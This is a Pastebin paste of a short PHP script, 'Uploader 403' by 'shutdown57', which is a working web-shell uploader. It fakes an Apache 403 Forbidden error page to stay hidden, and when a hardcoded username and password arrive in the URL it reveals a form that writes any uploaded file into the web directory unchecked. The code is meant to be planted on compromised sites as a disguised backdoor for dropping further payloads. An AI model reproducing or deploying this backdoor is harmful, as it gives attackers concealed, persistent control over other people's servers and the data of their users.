Advertisement
shutdown57

Uploader 403

May 21st, 2017
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.25 KB | None | 0 0
  1. <?php
  2. // author : shutdown57
  3.  
  4. echo"  <title> Forbidden</title>
  5. </head><body>
  6. <h1>Forbidden</h1>
  7.  
  8. <p>You don't have permission to access ".$_SERVER['REQUEST_URI']."  on this server.<br>
  9. Server unable to read  file, denying access to be safe
  10. <br><br>
  11. Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.</p>";
  12.  
  13. if(isset($_POST['ntap']))
  14. {
  15. $pile = $_FILES['filecuk']['name'];
  16. $piles= $_FILES['filecuk']['tmp_name'];
  17. $folder="";
  18. if(move_uploaded_file($piles,$folder.$pile))
  19. {
  20. $hasil = "mie Sukses !<a href='$pile' target='_blank'>Klik sini </A>";
  21. }
  22. else
  23. {
  24. $hasil = "Failed!";
  25. }
  26. }
  27. $usercuk ="shutdown57";//user
  28. $passcuk =":V";//password
  29. // exploit : ?user=YouUser&pass=YourPass
  30. if($_GET['user']==$usercuk &&$_GET['pass']==$passcuk){
  31. echo'
  32. <!DOCTYPE html>
  33. <html xmlns="http://www.w3.org/1999/xhtml">
  34. <head>
  35. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  36. <title>#~ shutdown57 Priv8 uploader~#</title>
  37. </head>
  38. <body>
  39. <center>
  40. <h1>#~ shutdown57 Priv8 uploader ~#</h1>
  41. <form action="" method="post" enctype="multipart/form-data">
  42. <input type="file" name="filecuk" />
  43. <input type="submit" name="ntap" value="ntapz!">
  44. </form>
  45. '.$hasil.'
  46. </body>
  47. </html>';
  48. }
  49. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement